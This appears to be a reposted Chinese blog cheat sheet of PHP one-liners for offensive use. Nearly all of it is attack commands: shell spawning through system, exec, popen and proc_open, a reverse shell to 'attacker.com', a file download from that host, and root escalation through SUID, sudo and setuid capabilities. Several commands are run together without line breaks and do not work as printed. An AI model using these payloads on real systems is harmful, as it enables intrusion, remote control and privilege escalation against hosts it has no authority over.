本文共 1412 字，大约阅读时间需要 4 分钟。

Shell

export CMD="/bin/sh"php -r 'system(getenv("CMD"));'

export CMD="/bin/sh"php -r 'passthru(getenv("CMD"));'

export CMD="/bin/sh"php -r 'print(shell_exec(getenv("CMD")));'

export CMD="/bin/sh"php -r '$r=array(); exec(getenv("CMD"), $r); print(join("\\n",$r));'

export CMD="/bin/sh"php -r '$h=@popen(getenv("CMD"),"r"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }'

Command

export CMD="id"php -r '$p = array(array("pipe","r"),array("pipe","w"),array("pipe","w"));$h = @proc_open(getenv("CMD"), $p, $pipes);if($h&&$pipes){while(!feof($pipes[1])) echo(fread($pipes[1],4096));while(!feof($pipes[2])) echo(fread($pipes[2],4096));fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($h);}'

Reverse Shell

目标机

nc -lp 4444

export RHOST=attacker.comexport RPORT=4444php -r '$sock=fsockopen(getenv("RHOST"),getenv("RPORT"));exec("/bin/sh -i <&3 >&3 2>&3");'

File upload

php version5.4或以上

LHOST=0.0.0.0LPORT=8888php -S $LHOST:$LPORT

File download

export URL=http://attacker.com/file_to_getexport LFILE=file_to_savephp -r '$c=file_get_contents(getenv("URL"));file_put_contents(getenv("LFILE"), $c);'

SUID

sudo sh -c 'cp $(which php) .; chmod +s ./php'CMD="/bin/sh"./php -r "pcntl_exec('/bin/sh', ['-p']);"

Sudo

CMD="/bin/sh"sudo php -r "system('$CMD');"

Capabilities

cp $(which php) .sudo setcap cap_setuid+ep phpCMD="/bin/sh"./php -r "posix_setuid(0); system('$CMD');"

人生漫漫其修远兮，网安无止境。

一同前行，加油！

转载地址：http://uljki.baihongyu.com/